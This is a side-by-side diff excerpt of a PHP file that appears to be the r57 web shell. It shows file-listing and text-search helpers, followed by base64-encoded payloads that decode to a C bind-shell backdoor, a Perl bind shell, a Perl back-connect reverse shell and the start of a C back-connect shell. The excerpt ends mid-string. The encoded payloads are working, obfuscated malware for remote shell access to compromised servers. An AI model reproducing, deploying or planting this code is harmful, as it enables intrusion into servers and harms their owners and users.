| 1109 | function sr($l,$t1,$t2) | 1109 | function sr($l,$t1,$t2) |
| 1110 | { | 1110 | { |
| 1111 | return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; | 1111 | return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; |
| 1112 | } | 1112 | } |
| 1113 | if (!@function_exists("view_size")) | 1113 | if (!@function_exists("view_size")) |
| 1114 | { | 1114 | { |
| 1115 | function view_size($size) | 1115 | function view_size($size) |
| 1116 | { | 1116 | { |
| 1117 | if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} | 1117 | if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} |
| 1118 | elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} | 1118 | elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} |
| 1119 | elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} | 1119 | elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} |
| 1120 | else {$size = $size . " B";} | 1120 | else {$size = $size . " B";} |
| 1121 | return $size; | 1121 | return $size; |
| 1122 | } | 1122 | } |
| 1123 | } | 1123 | } |
| 1124 | function DirFiles($dir,$types='') | 1124 | function DirFiles($dir,$types='') |
| 1125 | { | 1125 | { |
| 1126 | $files = Array(); | 1126 | $files = Array(); |
| 1127 | if(($handle = @opendir($dir))) | 1127 | if(($handle = @opendir($dir))) |
| 1128 | { | 1128 | { |
| 1129 | while (FALSE !== ($file = @readdir($handle))) | 1129 | while (FALSE !== ($file = @readdir($handle))) |
| 1130 | { | 1130 | { |
| 1131 | if ($file != "." && $file != "..") | 1131 | if ($file != "." && $file != "..") |
| 1132 | { | 1132 | { |
| 1133 | if(!is_dir($dir."/".$file)) | 1133 | if(!is_dir($dir."/".$file)) |
| 1134 | { | 1134 | { |
| 1135 | if($types) | 1135 | if($types) |
| 1136 | { | 1136 | { |
| 1137 | $pos = @strrpos($file,"."); | 1137 | $pos = @strrpos($file,"."); |
| 1138 | $ext = @substr($file,$pos,@strlen($file)-$pos); | 1138 | $ext = @substr($file,$pos,@strlen($file)-$pos); |
| 1139 | if(@in_array($ext,@explode(';',$types))) | 1139 | if(@in_array($ext,@explode(';',$types))) |
| 1140 | $files[] = $dir."/".$file; | 1140 | $files[] = $dir."/".$file; |
| 1141 | } | 1141 | } |
| 1142 | else | 1142 | else |
| 1143 | $files[] = $dir."/".$file; | 1143 | $files[] = $dir."/".$file; |
| 1144 | } | 1144 | } |
| 1145 | } | 1145 | } |
| 1146 | } | 1146 | } |
| 1147 | @closedir($handle); | 1147 | @closedir($handle); |
| 1148 | } | 1148 | } |
| 1149 | return $files; | 1149 | return $files; |
| 1150 | } | 1150 | } |
| 1151 | function DirFilesWide($dir) | 1151 | function DirFilesWide($dir) |
| 1152 | { | 1152 | { |
| 1153 | $files = Array(); | 1153 | $files = Array(); |
| 1154 | $dirs = Array(); | 1154 | $dirs = Array(); |
| 1155 | if(($handle = @opendir($dir))) | 1155 | if(($handle = @opendir($dir))) |
| 1156 | { | 1156 | { |
| 1157 | while (false !== ($file = @readdir($handle))) | 1157 | while (false !== ($file = @readdir($handle))) |
| 1158 | { | 1158 | { |
| 1159 | if ($file != "." && $file != "..") | 1159 | if ($file != "." && $file != "..") |
| 1160 | { | 1160 | { |
| 1161 | if(@is_dir($dir."/".$file)) | 1161 | if(@is_dir($dir."/".$file)) |
| 1162 | { | 1162 | { |
| 1163 | $file = @strtoupper($file); | 1163 | $file = @strtoupper($file); |
| 1164 | $dirs[$file] = '<DIR>'; | 1164 | $dirs[$file] = '<DIR>'; |
| 1165 | } | 1165 | } |
| 1166 | else | 1166 | else |
| 1167 | $files[$file] = @filesize($dir."/".$file); | 1167 | $files[$file] = @filesize($dir."/".$file); |
| 1168 | } | 1168 | } |
| 1169 | } | 1169 | } |
| 1170 | @closedir($handle); | 1170 | @closedir($handle); |
| 1171 | @ksort($dirs); | 1171 | @ksort($dirs); |
| 1172 | @ksort($files); | 1172 | @ksort($files); |
| 1173 | $files = @array_merge($dirs,$files); | 1173 | $files = @array_merge($dirs,$files); |
| 1174 | } | 1174 | } |
| 1175 | return $files; | 1175 | return $files; |
| 1176 | } | 1176 | } |
| 1177 | function DirFilesR($dir,$types='') | 1177 | function DirFilesR($dir,$types='') |
| 1178 | { | 1178 | { |
| 1179 | $files = Array(); | 1179 | $files = Array(); |
| 1180 | if(($handle = @opendir($dir))) | 1180 | if(($handle = @opendir($dir))) |
| 1181 | { | 1181 | { |
| 1182 | while (false !== ($file = @readdir($handle))) | 1182 | while (false !== ($file = @readdir($handle))) |
| 1183 | { | 1183 | { |
| 1184 | if ($file != "." && $file != "..") | 1184 | if ($file != "." && $file != "..") |
| 1185 | { | 1185 | { |
| 1186 | if(@is_dir($dir."/".$file)) | 1186 | if(@is_dir($dir."/".$file)) |
| 1187 | $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); | 1187 | $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); |
| 1188 | else | 1188 | else |
| 1189 | { | 1189 | { |
| 1190 | $pos = @strrpos($file,"."); | 1190 | $pos = @strrpos($file,"."); |
| 1191 | $ext = @substr($file,$pos,@strlen($file)-$pos); | 1191 | $ext = @substr($file,$pos,@strlen($file)-$pos); |
| 1192 | if($types) | 1192 | if($types) |
| 1193 | { | 1193 | { |
| 1194 | if(@in_array($ext,explode(';',$types))) | 1194 | if(@in_array($ext,explode(';',$types))) |
| 1195 | $files[] = $dir."/".$file; | 1195 | $files[] = $dir."/".$file; |
| 1196 | } | 1196 | } |
| 1197 | else | 1197 | else |
| 1198 | $files[] = $dir."/".$file; | 1198 | $files[] = $dir."/".$file; |
| 1199 | } | 1199 | } |
| 1200 | } | 1200 | } |
| 1201 | } | 1201 | } |
| 1202 | @closedir($handle); | 1202 | @closedir($handle); |
| 1203 | } | 1203 | } |
| 1204 | return $files; | 1204 | return $files; |
| 1205 | } | 1205 | } |
| 1206 | function DirPrintHTMLHeaders($dir) | 1206 | function DirPrintHTMLHeaders($dir) |
| 1207 | { | 1207 | { |
| 1208 | $pockets = ''; | 1208 | $pockets = ''; |
| 1209 | $handle = @opendir($dir) or die("Can't open directory $dir"); | 1209 | $handle = @opendir($dir) or die("Can't open directory $dir"); |
| 1210 | echo " <ul style='margin-left: 0px; padding-left: 20px;'>\n"; | 1210 | echo " <ul style='margin-left: 0px; padding-left: 20px;'>\n"; |
| 1211 | while (false !== ($file = @readdir($handle))) | 1211 | while (false !== ($file = @readdir($handle))) |
| 1212 | { | 1212 | { |
| 1213 | if ($file != "." && $file != "..") | 1213 | if ($file != "." && $file != "..") |
| 1214 | { | 1214 | { |
| 1215 | if(@is_dir($dir."/".$file)) | 1215 | if(@is_dir($dir."/".$file)) |
| 1216 | { | 1216 | { |
| 1217 | echo " <li><b>[ $file ]</b></li>\n"; | 1217 | echo " <li><b>[ $file ]</b></li>\n"; |
| 1218 | DirPrintHTMLHeaders($dir."/".$file); | 1218 | DirPrintHTMLHeaders($dir."/".$file); |
| 1219 | } | 1219 | } |
| 1220 | else | 1220 | else |
| 1221 | { | 1221 | { |
| 1222 | $pos = @strrpos($file,"."); | 1222 | $pos = @strrpos($file,"."); |
| 1223 | $ext = @substr($file,$pos,@strlen($file)-$pos); | 1223 | $ext = @substr($file,$pos,@strlen($file)-$pos); |
| 1224 | if(@in_array($ext,array('.htm','.html'))) | 1224 | if(@in_array($ext,array('.htm','.html'))) |
| 1225 | { | 1225 | { |
| 1226 | $header = '-=None=-'; | 1226 | $header = '-=None=-'; |
| 1227 | $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file); | 1227 | $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file); |
| 1228 | for($a=0;$a<count($strings);$a++) | 1228 | for($a=0;$a<count($strings);$a++) |
| 1229 | { | 1229 | { |
| 1230 | $pattern = '(<title>(.+)</title>)'; | 1230 | $pattern = '(<title>(.+)</title>)'; |
| 1231 | if(@eregi($pattern,$strings[$a],$pockets)) | 1231 | if(@eregi($pattern,$strings[$a],$pockets)) |
| 1232 | { | 1232 | { |
| 1233 | $header = "«".$pockets[2]."»"; | 1233 | $header = "«".$pockets[2]."»"; |
| 1234 | break; | 1234 | break; |
| 1235 | } | 1235 | } |
| 1236 | } | 1236 | } |
| 1237 | echo " <li>".$header."</li>\n"; | 1237 | echo " <li>".$header."</li>\n"; |
| 1238 | } | 1238 | } |
| 1239 | } | 1239 | } |
| 1240 | } | 1240 | } |
| 1241 | } | 1241 | } |
| 1242 | echo " </ul>\n"; | 1242 | echo " </ul>\n"; |
| 1243 | @closedir($handle); | 1243 | @closedir($handle); |
| 1244 | } | 1244 | } |
| 1245 | 1245 | ||
| 1246 | class SearchResult | 1246 | class SearchResult |
| 1247 | { | 1247 | { |
| 1248 | var $text; | 1248 | var $text; |
| 1249 | var $FilesToSearch; | 1249 | var $FilesToSearch; |
| 1250 | var $ResultFiles; | 1250 | var $ResultFiles; |
| 1251 | var $FilesTotal; | 1251 | var $FilesTotal; |
| 1252 | var $MatchesCount; | 1252 | var $MatchesCount; |
| 1253 | var $FileMatschesCount; | 1253 | var $FileMatschesCount; |
| 1254 | var $TimeStart; | 1254 | var $TimeStart; |
| 1255 | var $TimeTotal; | 1255 | var $TimeTotal; |
| 1256 | var $titles; | 1256 | var $titles; |
| 1257 | function SearchResult($dir,$text,$filter='') | 1257 | function SearchResult($dir,$text,$filter='') |
| 1258 | { | 1258 | { |
| 1259 | $dirs = @explode(";",$dir); | 1259 | $dirs = @explode(";",$dir); |
| 1260 | $this->FilesToSearch = Array(); | 1260 | $this->FilesToSearch = Array(); |
| 1261 | for($a=0;$a<count($dirs);$a++) | 1261 | for($a=0;$a<count($dirs);$a++) |
| 1262 | $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); | 1262 | $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); |
| 1263 | $this->text = $text; | 1263 | $this->text = $text; |
| 1264 | $this->FilesTotal = @count($this->FilesToSearch); | 1264 | $this->FilesTotal = @count($this->FilesToSearch); |
| 1265 | $this->TimeStart = getmicrotime(); | 1265 | $this->TimeStart = getmicrotime(); |
| 1266 | $this->MatchesCount = 0; | 1266 | $this->MatchesCount = 0; |
| 1267 | $this->ResultFiles = Array(); | 1267 | $this->ResultFiles = Array(); |
| 1268 | $this->FileMatchesCount = Array(); | 1268 | $this->FileMatchesCount = Array(); |
| 1269 | $this->titles = Array(); | 1269 | $this->titles = Array(); |
| 1270 | } | 1270 | } |
| 1271 | function GetFilesTotal() { return $this->FilesTotal; } | 1271 | function GetFilesTotal() { return $this->FilesTotal; } |
| 1272 | function GetTitles() { return $this->titles; } | 1272 | function GetTitles() { return $this->titles; } |
| 1273 | function GetTimeTotal() { return $this->TimeTotal; } | 1273 | function GetTimeTotal() { return $this->TimeTotal; } |
| 1274 | function GetMatchesCount() { return $this->MatchesCount; } | 1274 | function GetMatchesCount() { return $this->MatchesCount; } |
| 1275 | function GetFileMatchesCount() { return $this->FileMatchesCount; } | 1275 | function GetFileMatchesCount() { return $this->FileMatchesCount; } |
| 1276 | function GetResultFiles() { return $this->ResultFiles; } | 1276 | function GetResultFiles() { return $this->ResultFiles; } |
| 1277 | function SearchText($phrase=0,$case=0) { | 1277 | function SearchText($phrase=0,$case=0) { |
| 1278 | $qq = @explode(' ',$this->text); | 1278 | $qq = @explode(' ',$this->text); |
| 1279 | $delim = '|'; | 1279 | $delim = '|'; |
| 1280 | if($phrase) | 1280 | if($phrase) |
| 1281 | foreach($qq as $k=>$v) | 1281 | foreach($qq as $k=>$v) |
| 1282 | $qq[$k] = '\b'.$v.'\b'; | 1282 | $qq[$k] = '\b'.$v.'\b'; |
| 1283 | $words = '('.@implode($delim,$qq).')'; | 1283 | $words = '('.@implode($delim,$qq).')'; |
| 1284 | $pattern = "/".$words."/"; | 1284 | $pattern = "/".$words."/"; |
| 1285 | if(!$case) | 1285 | if(!$case) |
| 1286 | $pattern .= 'i'; | 1286 | $pattern .= 'i'; |
| 1287 | foreach($this->FilesToSearch as $k=>$filename) | 1287 | foreach($this->FilesToSearch as $k=>$filename) |
| 1288 | { | 1288 | { |
| 1289 | $this->FileMatchesCount[$filename] = 0; | 1289 | $this->FileMatchesCount[$filename] = 0; |
| 1290 | $FileStrings = @file($filename) or @next; | 1290 | $FileStrings = @file($filename) or @next; |
| 1291 | for($a=0;$a<@count($FileStrings);$a++) | 1291 | for($a=0;$a<@count($FileStrings);$a++) |
| 1292 | { | 1292 | { |
| 1293 | $count = 0; | 1293 | $count = 0; |
| 1294 | $CurString = $FileStrings[$a]; | 1294 | $CurString = $FileStrings[$a]; |
| 1295 | $CurString = @Trim($CurString); | 1295 | $CurString = @Trim($CurString); |
| 1296 | $CurString = @strip_tags($CurString); | 1296 | $CurString = @strip_tags($CurString); |
| 1297 | $aa = ''; | 1297 | $aa = ''; |
| 1298 | if(($count = @preg_match_all($pattern,$CurString,$aa))) | 1298 | if(($count = @preg_match_all($pattern,$CurString,$aa))) |
| 1299 | { | 1299 | { |
| 1300 | $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); | 1300 | $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); |
| 1301 | $this->ResultFiles[$filename][$a+1] = $CurString; | 1301 | $this->ResultFiles[$filename][$a+1] = $CurString; |
| 1302 | $this->MatchesCount += $count; | 1302 | $this->MatchesCount += $count; |
| 1303 | $this->FileMatchesCount[$filename] += $count; | 1303 | $this->FileMatchesCount[$filename] += $count; |
| 1304 | } | 1304 | } |
| 1305 | } | 1305 | } |
| 1306 | } | 1306 | } |
| 1307 | $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); | 1307 | $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); |
| 1308 | } | 1308 | } |
| 1309 | } | 1309 | } |
| 1310 | function getmicrotime() | 1310 | function getmicrotime() |
| 1311 | { | 1311 | { |
| 1312 | list($usec,$sec) = @explode(" ",@microtime()); | 1312 | list($usec,$sec) = @explode(" ",@microtime()); |
| 1313 | return ((float)$usec + (float)$sec); | 1313 | return ((float)$usec + (float)$sec); |
| 1314 | } | 1314 | } |
| 1315 | $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS | 1315 | $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS |
| 1316 | A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I | 1316 | A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I |
| 1317 | GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt | 1317 | GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt |
| 1318 | b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 | 1318 | b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 |
| 1319 | pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF | 1319 | pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF |
| 1320 | NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK | 1320 | NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK |
| 1321 | ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog | 1321 | ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog |
| 1322 | ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk | 1322 | ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk |
| 1323 | 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 | 1323 | 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 |
| 1324 | 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld | 1324 | 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld |
| 1325 | 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu | 1325 | 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu |
| 1326 | dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp | 1326 | dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp |
| 1327 | lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; | 1327 | lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; |
| 1328 | $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS | 1328 | $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS |
| 1329 | VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs | 1329 | VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs |
| 1330 | JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV | 1330 | JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV |
| 1331 | TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG | 1331 | TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG |
| 1332 | lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK | 1332 | lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK |
| 1333 | Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i | 1333 | Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i |
| 1334 | Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N | 1334 | Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N |
| 1335 | lIENPTk47DQpleGl0IDA7DQp9DQp9"; | 1335 | lIENPTk47DQpleGl0IDA7DQp9DQp9"; |
| 1336 | $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj | 1336 | $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj |
| 1337 | aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR | 1337 | aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR |
| 1338 | hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT | 1338 | hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT |
| 1339 | sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI | 1339 | sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI |
| 1340 | kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi | 1340 | kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi |
| 1341 | KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl | 1341 | KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl |
| 1342 | OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; | 1342 | OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; |
| 1343 | $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC | 1343 | $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC |
| 1344 | BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb | 1344 | BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb |
| 1345 | SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd | 1345 | SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd |
| 1346 | KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ | 1346 | KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ |
| 1347 | sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC | 1347 | sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC |
| 1348 | Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D | 1348 | Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D |
